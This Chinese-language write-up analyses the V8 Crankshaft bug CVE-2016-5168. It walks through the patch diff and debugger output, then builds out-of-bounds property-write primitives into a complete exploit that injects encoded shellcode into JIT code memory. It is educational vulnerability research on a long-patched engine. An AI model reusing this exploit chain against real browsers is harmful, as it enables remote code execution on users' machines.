Chrome Issue 659475(CVE-2016-5168)漏洞分析

 

0x00 前言

Issue 659475的漏洞利用过程非常巧妙,结合了String(null)对象完成漏洞利用。本文将介绍这个巧妙的过程。

 

0x01 前置知识

String对象结构

在V8中,String对象其实就是JSValue对象,而决定JSValue的值的关键就是它的value字段。
使用如下代码进行调试

var str = new String("aaaaaaaaaaaaaaa");
var str2 = new String("aaaaaaaaaaaaaaa");
var str3 = new String("bbbbbbbbbbbbbb");
var str4 = new String(null);
%DebugPrint(str);
%DebugPrint(str2);
%DebugPrint(str3);
%DebugPrint(str4);
%SystemBreak();

运行结果如下

DebugPrint: 0x28c3ab48a0f9: [JSValue]
 - map = 0x3bc278906981 [FastProperties]
 - prototype = 0x383e38b978c1
 - elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
 - value = 0x383e38baaff9 <String[15]: aaaaaaaaaaaaaaa>
 - properties = {
   #length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant)
 }

DebugPrint: 0x28c3ab48a119: [JSValue]
 - map = 0x3bc278906981 [FastProperties]
 - prototype = 0x383e38b978c1
 - elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
 - value = 0x383e38baaff9 <String[15]: aaaaaaaaaaaaaaa>
 - properties = {
   #length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant)
 }

DebugPrint: 0x28c3ab48a139: [JSValue]
 - map = 0x3bc278906981 [FastProperties]
 - prototype = 0x383e38b978c1
 - elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
 - value = 0x383e38bab061 <String[14]: bbbbbbbbbbbbbb>
 - properties = {
   #length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant)
 }

DebugPrint: 0x28c3ab48a159: [JSValue]
 - map = 0x3bc278906981 [FastProperties]
 - prototype = 0x383e38b978c1
 - elements = 0x1c1ca5f02241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
 - value = 0x1c1ca5f02251 <String[4]: null>
 - properties = {
   #length: 0x1c1ca5f56379 <AccessorInfo> (accessor constant)
 }

从运行结果我们可以发现,strstr2虽然它们地址不一样,但是它们的字符串值一样,因此它们的value字段都指向了同一个地址0x383e38baaff9
查看value指向的位置的结构

pwndbg> x /20gx 0x1b780802aff8
0x1b780802aff8:    0x00000d92c0a82361    0x000000006548be92
0x1b780802b008:    0x0000000f00000000    0x6161616161616161
0x1b780802b018:    0xde61616161616161    0x00000d92c0a82361

value的结构如下

struct Value {
    Map *map;
    uint32_t hash;
    uint64_t padding;
    uint32_t length;
    char content[length];
}

对于String对象,可以使用[]操作符进行字符串中字符的访问,但是不能进行修改。对于String(null),其value指向的是一个null的对象,其Value结构中,length字段为0x4,content字段为0xdeadbeed6c6c756e

property 的存储

有关property access的优化,已经在前面文章中详细介绍过,主要就是对于对象的慢属性访问会在JIT时被优化为下标的方式进行访问。对于一开始就是字典类型的对象var a = {},处理doubleSMIObject类型时,都是直接给对应的字段赋值,其中SMI存储使用的是高4字节;
使用如下代码测试

var a = {};
a.x0 = 1.1;
a.x1 = 0x666666;
a.x3 = a;

%DebugPrint(a);
%SystemBreak();

结果如下

DebugPrint: 0x3191c908a059: [JS_OBJECT_TYPE]
 - map = 0x38fd4510c3e9 [FastProperties]
 - prototype = 0x3672f7504101
 - elements = 0x3a4833482241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
 - properties = {
   #x0: <unboxed double> 1.1 (data field at offset 0)
   #x1: 6710886 (data field at offset 1)
   #x3: 0x3191c908a059 <an Object with map 0x38fd4510c3e9> (data field at offset 2)
 }
 pwndbg> x /20gx 0x3191c908a058
0x3191c908a058:    0x000038fd4510c3e9    0x00003a4833482241
0x3191c908a068:    0x00003a4833482241    0x3ff199999999999a
0x3191c908a078:    0x0066666600000000    0x00003191c908a059

而对于一开始不是字典类型的对象,如var a = new Date();,处理double类型的字段赋值时,会将double数据先包装为MutableNumber,然后将该对象的指针赋值给相应的字段,测试代码如下

var a = new Date();

a.x0 = 1.1;
a.x1 = 0x666666;
a.x3 = a;

%DebugPrint(a);
%SystemBreak();

运行如下

DebugPrint: 0x1d4cc9e8a061: [JSDate]
 - map = 0x1cbdfe0c3e9 [FastProperties]
 - prototype = 0x3d14b440c2d9
 - elements = 0x20de36302241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
 - value = 0x1d4cc9e8a0c1 <Number: 1.61562e+12>
 - time = NaN

 - properties = {
   #x0: 0x1d4cc9e8a131 <MutableNumber: 1.1> (data field at offset 0)
   #x1: 6710886 (data field at offset 1)
   #x3: 0x1d4cc9e8a061 <a Date with map 0x1cbdfe0c3e9> (data field at offset 2)
 }
0x1d4cc9e8a110:    0x0000000300000000    0x00001d4cc9e8a131
0x1d4cc9e8a120:    0x0066666600000000    0x00001d4cc9e8a061
0x1d4cc9e8a130:    0x000011d70e482eb9    0x3ff199999999999a

从这个特性中思考,如果我们有漏洞能够任意控制属性字段的内存值为某一个地址addr+0x1,那么,接下来将一个double数据赋值给这个字段时,就可以往addr+0x8的地方写入一个unboxed double数据。这意味着就实现了任意地址写。

编译器版本

由于本漏洞属于老版本的V8,其V8编译器结构如下

有两种编译器,一个是Crankshaft,另一个是TurboFan,两者的不同点在于

Crankshaft仅仅可以优化Javascript一部分语言的短板。例如,它并没有通过结构化的异常处理来设计代码,即代码块不能通过try、catch、finally等关键字划分。

function opt() {
   var a = [1.1,2.2,3.3];
   var b = [2.2,3.3,4.4];
   var c = [a,b];
   return c;
}

for (var i=0;i<10000;i++) {
   opt();
}

加入-print-opt-code选项,JIT信息如下

--- Raw source ---
() {
   var a = [1.1,2.2,3.3];
   var b = [2.2,3.3,4.4];
   var c = [a,b];
   return c;
}


--- Optimized code ---
optimization_id = 0
source_position = 12
kind = OPTIMIZED_FUNCTION
name = opt
stack_slots = 5
compiler = crankshaft

可以看到是用crankshaft进行的编译,现在,我们在函数里加入try {} catch () {}语句,然后重新测试,由于循环次数10000触发了crankshaft进行编译,当crankshaft无法处理这种情况,于是无反应,将10000改为100000,即可触发turbofan编译了。

--- Raw source ---
() {

   try{
   var a = [1.1,2.2,3.3];
   var b = [2.2,3.3,4.4];
   var c = [a,b];
   return c;
   } catch (e) {
   }
}


--- Optimized code ---
optimization_id = 0
source_position = 12
kind = OPTIMIZED_FUNCTION
name = opt
stack_slots = 4
compiler = turbofan

 

0x02 漏洞分析利用

patch分析

关键的patch点如下

diff --git a/src/crankshaft/hydrogen.cc b/src/crankshaft/hydrogen.cc
index 16c3639..79e78a5 100644
--- a/src/crankshaft/hydrogen.cc
+++ b/src/crankshaft/hydrogen.cc
@@ -6518,11 +6518,19 @@
           access = access.WithRepresentation(Representation::Smi());
           break;
         case PropertyCellConstantType::kStableMap: {
-          // The map may no longer be stable, deopt if it's ever different from
-          // what is currently there, which will allow for restablization.
-          Handle<Map> map(HeapObject::cast(cell->value())->map());
+          // First check that the previous value of the {cell} still has the
+          // map that we are about to check the new {value} for. If not, then
+          // the stable map assumption was invalidated and we cannot continue
+          // with the optimized code.
+          Handle<HeapObject> cell_value(HeapObject::cast(cell->value()));
+          Handle<Map> cell_value_map(cell_value->map());
+          if (!cell_value_map->is_stable()) {
+            return Bailout(kUnstableConstantTypeHeapObject);
+          }
+          top_info()->dependencies()->AssumeMapStable(cell_value_map);
+          // Now check that the new {value} is a HeapObject with the same map.
           Add<HCheckHeapObject>(value);
-          value = Add<HCheckMaps>(value, map);
+          value = Add<HCheckMaps>(value, cell_value_map);
           access = access.WithRepresentation(Representation::HeapObject());
           break;
         }

从源码路径可以知道,该漏洞与crankshaft编译器有关,patch修复了漏洞,该patch位于HandleGlobalVariableAssignment函数,因此,该函数用于处理全局变量的赋值操作。在V8的优化过程中,有一个特点就是,对于stable map的对象,其checkmap节点会被移除,patch中最关键的一句是top_info()->dependencies()->AssumeMapStable(cell_value_map)
其中AssumeMapStable源码如下

void CompilationDependencies::AssumeMapStable(Handle<Map> map) {
  DCHECK(map->is_stable());
  // Do nothing if the map cannot transition.
  if (map->CanTransition()) {
    Insert(DependentCode::kPrototypeCheckGroup, map);
  }
}

由于加入了这个DependentCode::kPrototypeCheckGroup的检查,如果后期map变成unstable了,即使没有checkmap节点的检查,也因为有该检查而不会出错,保证其在结构发生变化时能进行deoptimization bailout

POC编写

我们的测试程序如下

var a;
function Ctor() {
   a = new Date();
}

for (var i=0;i<10000;i++) {
   Ctor();
}

%DebugPrint(a);

运行结果如下

DebugPrint: 0xb6f27a26391: [JSDate]
 - map = 0x17bdc13042a9 [FastProperties]
 - prototype = 0x2bb939b8c2d9
 - elements = 0x147f67e02241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
 - value = 0xb6f27a263f1 <Number: 1.61562e+12>
 - time = NaN

 - properties = {
 }
0x17bdc13042a9: [Map]
 - type: JS_DATE_TYPE
 - instance size: 96
 - inobject properties: 0
 - elements kind: FAST_HOLEY_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x147f67e02311 <undefined>
 - instance descriptors (own) #0: 0x147f67e02231 <FixedArray[0]>
 - layout descriptor: 0
 - prototype: 0x2bb939b8c2d9 <an Object with map 0x17bdc1304301>
 - constructor: 0x2bb939b8c269 <JS Function Date (SharedFunctionInfo 0x147f67e3ec79)>
 - code cache: 0x147f67e02241 <FixedArray[0]>
 - dependent code: 0x2bb939babd79 <FixedArray[3]>
 - construction counter: 0

其中可以观察到其MAP结构里有一个stable_map标记,我们接着b src/crankshaft/hydrogen.cc:6515,在patch点上方下断点进行调试。

In file: /home/sea/Desktop/v8/src/crankshaft/hydrogen.cc
   6519           break;
   6520         case PropertyCellConstantType::kStableMap: {
   6521           // The map may no longer be stable, deopt if it's ever different from
   6522           // what is currently there, which will allow for restablization.
   6523           Handle<Map> map(HeapObject::cast(cell->value())->map());
 ► 6524           Add<HCheckHeapObject>(value);
   6525           value = Add<HCheckMaps>(value, map);
   6526           access = access.WithRepresentation(Representation::HeapObject());
   6527           break;
   6528         }
   6529       }
pwndbg> p map->is_stable()
$17 = true

可以看见其MAPstable的。
在前面的基础上,加上对全局变量的属性进行赋值的操作,并进行优化

var a;
function Ctor() {
   a = new Date();
}

function opt() {
   a.x = 1;
}

for (var i=0;i<10000;i++) {
   Ctor();
}


for (var i=0;i<10000;i++) {
   opt();
}

查看生成的JIT代码,加了patch和没加patch,使用--print-opt-code打印的代码竟然在实质上没有任何的差别。

0x27792c064e0     0  55             push rbp
0x27792c064e1     1  4889e5         REX.W movq rbp,rsp
0x27792c064e4     4  56             push rsi
0x27792c064e5     5  57             push rdi
0x27792c064e6     6  4883ec08       REX.W subq rsp,0x8
0x27792c064ea    10  488b45f8       REX.W movq rax,[rbp-0x8]
0x27792c064ee    14  488945e8       REX.W movq [rbp-0x18],rax
0x27792c064f2    18  488bf0         REX.W movq rsi,rax
0x27792c064f5    21  493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x27792c064fc    28  7305           jnc 35  (0x27792c06503)
0x27792c064fe    30  e8ddc3f5ff     call StackCheck  (0x27792b628e0)    ;; code: BUILTIN
0x27792c06503    35  48b841b7ba24643c0000 REX.W movq rax,0x3c6424bab741    ;; object: 0x3c6424bab741 PropertyCell for 0x2d07f24a6399 <a Date with map 0x14b2a498c391>
0x27792c0650d    45  488b400f       REX.W movq rax,[rax+0xf]
0x27792c06511    49  488b4007       REX.W movq rax,[rax+0x7]
0x27792c06515    53  c7401301000000 movl [rax+0x13],0x1
0x27792c0651c    60  48b8112358a8ae240000 REX.W movq rax,0x24aea8582311    ;; object: 0x24aea8582311 <undefined>
0x27792c06526    70  488be5         REX.W movq rsp,rbp
0x27792c06529    73  5d             pop rbp
0x27792c0652a    74  c20800         ret 0x8
0x27792c0652d    77  0f1f00         nop

赋值操作显然没有过多的检查,这是因为该对象的MAP被标识为stable map,如果我们将a = new Date()改成a = {},其代码如下

0xbbb2be06700     0  55             push rbp
0xbbb2be06701     1  4889e5         REX.W movq rbp,rsp
0xbbb2be06704     4  56             push rsi
0xbbb2be06705     5  57             push rdi
0xbbb2be06706     6  4883ec08       REX.W subq rsp,0x8
0xbbb2be0670a    10  488b45f8       REX.W movq rax,[rbp-0x8]
0xbbb2be0670e    14  488945e8       REX.W movq [rbp-0x18],rax
0xbbb2be06712    18  488bf0         REX.W movq rsi,rax
0xbbb2be06715    21  493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0xbbb2be0671c    28  7305           jnc 35  (0xbbb2be06723)
0xbbb2be0671e    30  e8bdc1f5ff     call StackCheck  (0xbbb2bd628e0)    ;; code: BUILTIN
0xbbb2be06723    35  48b841b7720d5a180000 REX.W movq rax,0x185a0d72b741    ;; object: 0x185a0d72b741 PropertyCell for 0x325b7f0af1b1 <an Object with map 0x560aef0c391>
0xbbb2be0672d    45  488b400f       REX.W movq rax,[rax+0xf]
0xbbb2be06731    49  a801           test al,0x1
0xbbb2be06733    51  0f842c000000   jz 101  (0xbbb2be06765)
0xbbb2be06739    57  49ba91c3f0ae60050000 REX.W movq r10,0x560aef0c391    ;; object: 0x560aef0c391 <Map(FAST_HOLEY_ELEMENTS)>
0xbbb2be06743    67  4c3950ff       REX.W cmpq [rax-0x1],r10
0xbbb2be06747    71  0f851d000000   jnz 106  (0xbbb2be0676a)
0xbbb2be0674d    77  c7401b01000000 movl [rax+0x1b],0x1
0xbbb2be06754    84  48b8112348ddd5280000 REX.W movq rax,0x28d5dd482311    ;; object: 0x28d5dd482311 <undefined>
0xbbb2be0675e    94  488be5         REX.W movq rsp,rbp
0xbbb2be06761    97  5d             pop rbp
0xbbb2be06762    98  c20800         ret 0x8
0xbbb2be06765   101  e8a0d8d7ff     call 0xbbb2bb8400a       ;; deoptimization bailout 1
0xbbb2be0676a   106  e8a5d8d7ff     call 0xbbb2bb84014       ;; deoptimization bailout 2
0xbbb2be0676f   111  90             nop

显然这里多了一个Map(FAST_HOLEY_ELEMENTS)的检查。既然加了patch和没加patch的生成的代码一样,为何后者能够有漏洞,这是因为虽然checkmap都移除了,但是checkmap仅能代表在这段JIT代码里可以做检查,调试发现,前者是无法执行到JIT的那个代码的,因为在执行JIT代码之前就已经做了检查(kPrototypeCheckGroup标记导致)。而后者能够执行到JIT代码。
最终POC如下

var a;
function Ctor() {
   a = new Date();
}

function opt() {
   a.x = 0x123456;
}

for (var i=0;i<10000;i++) {
   Ctor();
}


for (var i=0;i<10000;i++) {
   opt();
}

Ctor();
opt();

%DebugPrint(a);
var str = new String(null);
print(str);

程序最终会崩溃

DebugPrint: 0xf89de5a6539: [JSDate]
 - map = 0x3f13527042a9 [FastProperties]
 - prototype = 0x3fccf1f0c2d9
 - elements = 0x1bcb0fe02241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
 - value = 0xf89de5a6599 <Number: 1.61563e+12>
 - time = NaN

 - properties = {
 }

Received signal 11 <unknown> 000000000000

==== C stack trace ===============================

 [0x7f2ad9dc7a4e]
 [0x7f2ad9dc79a5]
 [0x7f2ad99cb8a0]
 [0x7f2ad8691b9c]
 [0x7f2ad869a1cd]
 [0x7f2ad869a8ae]
 [0x7f2ad86bb26c]
 [0x563cbf958f25]
 [0x563cbf958e45]
 [0x7f2ad86a244a]
 [0x7f2ad87cceef]
 [0x7f2ad87cb9d2]
 [0x7f2ad87cb52f]
 [0x2c31d0e043a7]
[end of stack trace]
Segmentation fault (core dumped)

虽然我们在opt函数里增加了一个属性,我们看到properties为空值,这意味着已发生了溢出。

可以看到,0x123456越界写到了后面,破坏了某处数据,导致程序崩溃,该处实际上就是null Value对象。我们将最后的opt函数注释掉,然后重新调试。

DebugPrint: 0x2609351265d9: [JSValue]
 - map = 0x15994da86981 [FastProperties]
 - prototype = 0x1a0972b178c1
 - elements = 0x2adf5c602241 <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
 - value = 0x2adf5c602251 <String[4]: null>
 - properties = {
   #length: 0x2adf5c656379 <AccessorInfo> (accessor constant)
 }

addressOf原语构造

该对象的value指针指向了0x2adf5c602251,而该处正是属性值越界写的地方,因此,我们可以控制整个null Value对象的数据,那么,我们只需要篡改lengthcontent,就能完成地址泄露。
文章开头介绍过有关属性存储的一些性质,那么,我们越界写,将content对应的位置属性赋值为对象地址,将length对应的位置的属性赋值为合适的整数,那么就可以再通过String(null)对象将content的内容读取出来,也就是实现了地址泄露,为了完成这个过程,我们还得保证不能损坏null Value对象的前2个字段的数据,也就是MAPhash。由于hash仅在低4字节有数据,那么我们可以将这个位置对应的属性赋值为0,因为0属于SMI类型,被保存到hash字段的高4字节处不影响其值;接下来是如何绕过MAP的值,我们可以考虑在对应字段赋值为一个double值,这样,该处数据不会被覆盖,double写入相当于是mov [val+0x7] = double_val
该处是一个MAP对象内部,这个位置的数据正好是一个不变的量,因此,我们只需要原模原样的赋值回去就可以了。

pwndbg> x /2gx 0x0000335b22d82361+0x7
0x335b22d82368:    0x0019000400007300    0x00000000082003ff

于是可以构造出addressOf原语

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
   dv.setUint32(0,value1,true);
   dv.setUint32(0x4,value2,true);
   return dv.getFloat64(0,true);
}


function u64f(value) {
   dv.setFloat64(0,value,true);
   return dv.getUint32(0,true) + dv.getUint32(4,true)*0x100000000;
}

var set;

function opt_set() {
   set = new Set();
}


function fakeNullStrValue(obj) {
   set.x0 = p64f(0x00007300,0x00190004); //skip map
   set.x1 = 0; //hash
   set.x2 = 0x8; //length
   set.x3 = obj; //content
}


for (var i=0;i<10000;i++) {
   opt_set();
}

for (var i=0;i<10000;i++) {
   fakeNullStrValue({});
}


var str = new String(null);

function addressOf(obj) {
   opt_set();
   fakeNullStrValue(obj);
   var addr = 0;
   for (var i=0;i<0x8;i++) {
      addr += (str.charCodeAt(i) * Math.pow(0x100,i));
   }
   return addr - 0x1;
}

print("str_addr=" + addressOf(str).toString(16));

arb_write原语构造

如何利用这个属性值越界溢出构造任意写原语呢?首先,我没有找到方法如何让一个Array对象临接于properties的位置之后,不然我们可以很容易通过修改Array对象的length属性来构造一个oob数组。所以我们可以考虑再借助另外两个不同的对象,这样有三个对象,由于最开始他们的properties都为空值,因此,他们的properties地址会一样,那么,首先利用第一个对象的属性溢出,伪造content = null_value_self_addr+0x1

那么接下来用第二个对象的属性溢出,往content位置赋值一个地址addr-0x7double数据,那么这个地址值addr-0x7会被写入到null_value_self_addr+0x8处,对应的也就是null value对象的hash字段,

利用最后一个对象的属性溢出,往hash字段赋值为值valdouble数据,那么val就会被写入到addr处,构造出了任意地址写的原语。

var set;

function opt_set() {
   set = new Set();
}


function fakeNullStrValue(obj) {
   set.x0 = p64f(0x00007300,0x00190004); //skip map
   set.x1 = 0; //hash
   set.x2 = 0x8; //length
   set.x3 = obj; //content
}


var map;
function opt_map() {
   map = new Map();
}

function writeNullStrValuePtrContent(val) {
   map.x0 = p64f(0x00007300,0x00190004); //skip map
   map.x1 = 0; //hash
   map.x2 = 0x8; //length
   map.x3 = val //content
}

var date;

function opt_date() {
   date = new Date();
}

function writeBackingStorePtr(val) {
   date.x0 = p64f(0x00007300,0x00190004); //skip map
   date.x1 = val; //hash
}

for (var i=0;i<10000;i++) {
   opt_set();
}

for (var i=0;i<10000;i++) {
   fakeNullStrValue({});
}


var str = new String(null);


for (var i=0;i<10000;i++) {
   opt_map();
}

for (var i=0;i<10000;i++) {
   writeNullStrValuePtrContent(i+1.1);
}

for (var i=0;i<10000;i++) {
   opt_date();
}

for (var i=0;i<10000;i++) {
   writeBackingStorePtr(i+1.1);
}

function arb_write(addr,value) {
   opt_set();
   fakeNullStrValue(String(null));
   //%DebugPrint(set);
   //%SystemBreak();
   opt_map();
   writeNullStrValuePtrContent(p64f(addr & 0xFFFFFFFF,addr / 0x100000000));
   //%DebugPrint(map);
   //%SystemBreak();
   opt_date();
   //%DebugPrint(date);
   writeBackingStorePtr(p64f(value & 0xFFFFFFFF,value / 0x100000000));
   //%SystemBreak();
}

其中,String(null)new String(null)不同之处在于String(null)直接得到了那个null value对象,因此在写入时,content就直接是null value对象本身的地址。

exp

当构造出以上两个原语以后,就能够轻松写出exp了

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
   dv.setUint32(0,value1,true);
   dv.setUint32(0x4,value2,true);
   return dv.getFloat64(0,true);
}


function u64f(value) {
   dv.setFloat64(0,value,true);
   return dv.getUint32(0,true) + dv.getUint32(4,true)*0x100000000;
}

var set;

function opt_set() {
   set = new Set();
}


function fakeNullStrValue(obj) {
   set.x0 = p64f(0x00007300,0x00190004); //skip map
   set.x1 = 0; //hash
   set.x2 = 0x8; //length
   set.x3 = obj; //content
}

var map;
function opt_map() {
   map = new Map();
}

function writeNullStrValuePtrContent(val) {
   map.x0 = p64f(0x00007300,0x00190004); //skip map
   map.x1 = 0; //hash
   map.x2 = 0x8; //length
   map.x3 = val //content
}

var date;

function opt_date() {
   date = new Date();
}

function writeBackingStorePtr(val) {
   date.x0 = p64f(0x00007300,0x00190004); //skip map
   date.x1 = val; //hash
}

for (var i=0;i<10000;i++) {
   opt_set();
}

for (var i=0;i<10000;i++) {
   fakeNullStrValue({});
}


var str = new String(null);

function addressOf(obj) {
   opt_set();
   fakeNullStrValue(obj);
   var addr = 0;
   for (var i=0;i<0x8;i++) {
      addr += (str.charCodeAt(i) * Math.pow(0x100,i));
   }
   return addr - 0x1;
}


for (var i=0;i<10000;i++) {
   opt_map();
}

for (var i=0;i<10000;i++) {
   writeNullStrValuePtrContent(i+1.1);
}

for (var i=0;i<10000;i++) {
   opt_date();
}

for (var i=0;i<10000;i++) {
   writeBackingStorePtr(i+1.1);
}

var arr_buf = new ArrayBuffer(0x100);
var func = new Function("var a = 0x66666666;");
var shellcode_ptr_addr = addressOf(func) + 0x38;
print("shellcode_ptr_addr="+shellcode_ptr_addr.toString(16));
var arr_buf_addr = addressOf(arr_buf);
var backing_store_ptr_addr = arr_buf_addr + 0x20;
print("backing_store_ptr_addr=" + backing_store_ptr_addr.toString(16));
var str_addr = addressOf(str);
print("str_addr=" + str_addr.toString(16));


function arb_write(addr,value) {
   opt_set();
   fakeNullStrValue(String(null));
   //%DebugPrint(set);
   //%SystemBreak();
   opt_map();
   writeNullStrValuePtrContent(p64f(addr & 0xFFFFFFFF,addr / 0x100000000));
   //%DebugPrint(map);
   //%SystemBreak();
   opt_date();
   //%DebugPrint(date);
   writeBackingStorePtr(p64f(value & 0xFFFFFFFF,value / 0x100000000));
   //%SystemBreak();
}

arb_write(backing_store_ptr_addr - 0x7,shellcode_ptr_addr);
var arb_dv = new DataView(arr_buf);
var shellcode_addr = u64f(arb_dv.getFloat64(0,true));
print("shellcode_addr=" + shellcode_addr.toString(16));
arb_write(backing_store_ptr_addr - 0x7,shellcode_addr);

const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);

//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
   arb_dv.setUint32(i*4,shellcode[i],true);
}

%DebugPrint(str);
%SystemBreak();
//执行shellcode
//func();

 

0x03 感想

本漏洞复现中学到了有关String的知识,并且利用了指针的指针的概念。感觉收获很多。

 

0x04 参考

谷歌中的V8引擎:Ignition和TurboFan
CVE-2016-5168漏洞分析
v8 exploit

(完)